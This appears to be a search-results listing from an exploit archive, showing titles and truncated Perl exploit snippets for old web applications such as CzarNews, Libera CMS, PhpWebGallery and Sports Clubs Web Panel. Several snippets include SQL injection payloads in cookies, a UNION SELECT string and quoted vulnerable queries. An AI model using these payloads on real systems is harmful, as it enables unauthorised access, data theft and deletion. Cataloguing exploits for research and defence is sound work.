1530 matches found
CJ Ultra Plus <= 1.0.4 Cookie Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl CJ Ultra Plus = v1.0.4 Cookie SQL Injection found and coded by -SmoG- /\GermAn hAckZ0r contact: ICQ - 266836394 hints: - sometimes the parameter "SID" is different to the normal one... - i extract the hash from the html-code... but i was 2 lazy fo...
CJ Ultra Plus <= 1.0.4 Cookie Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ========================================================== CJ Ultra Plus GretzZz 2: pronoobz.org - Wesker, China Sun and all other memberZz "SID='UNION SELECT b12 from settings/"; $ua = LWP::UserAgent-new; $ua-t...
addalink <= 4 Arbitrary Admin Access Vulnerability Exploit
No description provided by source. addalink = 4 Arbitrary Admin Access Vulnerability Exploit url: http://sourceforge.net/projects/addalink/ Author: JosS mail: sys-projectathotmaildotcom site: http://spanish-hackers.com team: Spanish Hackers Team - SHT This was written for educational purpose. Use...
czarnewscookie-sql.txt
!/usr/bin/perl ---------------------------------------------------------- CzarNews agent"Mozilla/4.5 en Win95; U"; $https-timeout1; $https-defaultheader'Cookie' = "recook=' or '1=1,' or '1=1"; $request = $https-post$hostname."/cnusers.php", user = $username, pass = $password, email = $email,...
CzarNews 1.20 - 'cookie' SQL Injection
!/usr/bin/perl ---------------------------------------------------------- CzarNews agent"Mozilla/4.5 en Win95; U"; $https-timeout1; $https-defaultheader'Cookie' = "recook=' or '1=1,' or '1=1"; $request = $https-post$hostname."/cnusers.php", user = $username, pass = $password, email = $email,...
Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit
No description provided by source. !/usr/bin/perl -W Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit File affected: include/draw-delete.php id Vuln Code: 06: $did = $GET'id'; 08: mysqlquery"DELETE FROM draw WHERE did='$did'"; by ka0x ka0x01 at gmail dot com D.O.M Labs - Security Researche...
sportsclubs-delete.txt
!/usr/bin/perl -W Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit File affected: include/draw-delete.php id Vuln Code: 06: $did = $GET'id'; 08: mysqlquery"DELETE FROM draw WHERE did='$did'"; by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - ka0x@domlabs:/codes$ ./sportspanel.p...
Sports Clubs Web Panel 0.0.1 - Remote Game Delete
!/usr/bin/perl -W Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit File affected: include/draw-delete.php id Vuln Code: 06: $did = $GET'id'; 08: mysqlquery"DELETE FROM draw WHERE did='$did'"; by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - ka0x@domlabs:/codes$ ./sportspanel.p...
PhpWebGallery 1.3.4 Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl -W PhpWebGallery 1.3.4 Blind SQL Injection Exploit Download: http://puzzle.dl.sourceforge.net/sourceforge/phpwebgallery/phpwebgallery-1.3.4.tar.bz2 File affected: picture.php exploit written by ka0x ka0x01 at gmail dot com D.O.M Labs - Security...
Sports Clubs Web Panel 0.0.1 - Remote Game Delete
Sports Clubs Web Panel 0.0.1 - Remote Game Delete !/usr/bin/perl -W Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit File affected: include/draw-delete.php id Vuln Code: 06: $did = $GET'id'; 08: mysqlquery"DELETE FROM draw WHERE did='$did'"; by ka0x D.O.M Labs - Security Researchers -...
yourownbux-bypass.txt
!/usr/bin/perl use LWP::UserAgent; use HTTP::Request; +-------------------------------------------------------------------------------------------------+- + Yourownbux v4.0 ------------------------------------------------------------+--+ + Cookie Modification Exploit...
phpwebgallery134-sql.txt
!/usr/bin/perl -W PhpWebGallery 1.3.4 Blind SQL Injection Exploit Download: http://puzzle.dl.sourceforge.net/sourceforge/phpwebgallery/phpwebgallery-1.3.4.tar.bz2 File affected: picture.php exploit written by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - ka0x@domlabs:/codes$...
PHPWebGallery 1.3.4 - Blind SQL Injection (2)
!/usr/bin/perl -W PhpWebGallery 1.3.4 Blind SQL Injection Exploit Download: http://puzzle.dl.sourceforge.net/sourceforge/phpwebgallery/phpwebgallery-1.3.4.tar.bz2 File affected: picture.php exploit written by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - ka0x@domlabs:/codes$...
Zanfi CMS lite / Jaw Portal free (fckeditor) Arbitrary File Upload Vuln
Exploit for unknown platform in category web applications ======================================================================= Zanfi CMS lite / Jaw Portal free fckeditor Arbitrary File Upload Vuln ======================================================================= !/usr/bin/perl use strict...
Libera CMS 1.12 - 'cookie' SQL Injection
!/usr/bin/perl ---------------------------------------------------------- Libera CMS agent"Mozilla/4.5 en Win95; U"; $https-timeout1; $https-defaultheader'Cookie' = "liberastaffpass=' or '1=1"; $request = $https-post$hostname."/admin.php?action=adduserprocess", username = $username, password =...
Libera CMS <= 1.12 (Cookie) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ======================================================== Libera CMS agent"Mozilla/4.5 en Win95; U"; $https-timeout1; $https-defaultheader'Cookie' = "liberastaffpass=' or '1=1"; $request =...
WebCMS Portal Edition (index.php id) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================ WebCMS Portal Edition index.php id Blind SQL Injection Exploit ================================================================ !/usr/bin/perl -W webCMS Portal Edition...
e107be-sql.txt
!/usr/bin/perl e107 Plugin BLOG Engine v2.2 SQL Injection Exploit ..::virangar security team::.. www.virangar.net C0d3d BY:virangar security team hadihadi special tnx to: MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra & all virangar members & all hackerz my lovely friends hadiaryaie2004 &...
e107 Plugin BLOG Engine 2.2 (uid) SQL Injection Exploit
No description provided by source. !/usr/bin/perl e107 Plugin BLOG Engine v2.2 SQL Injection Exploit ..::virangar security team::.. www.virangar.net C0d3d BY:virangar security team hadihadi special tnx to: MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra & all virangar members & all hackerz my love...
e107 Plugin BLOG Engine 2.2 - 'uid' SQL Injection
!/usr/bin/perl e107 Plugin BLOG Engine v2.2 SQL Injection Exploit ..::virangar security team::.. www.virangar.net C0d3d BY:virangar security team hadihadi special tnx to: MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra & all virangar members & all hackerz my lovely friends hadiaryaie2004 &...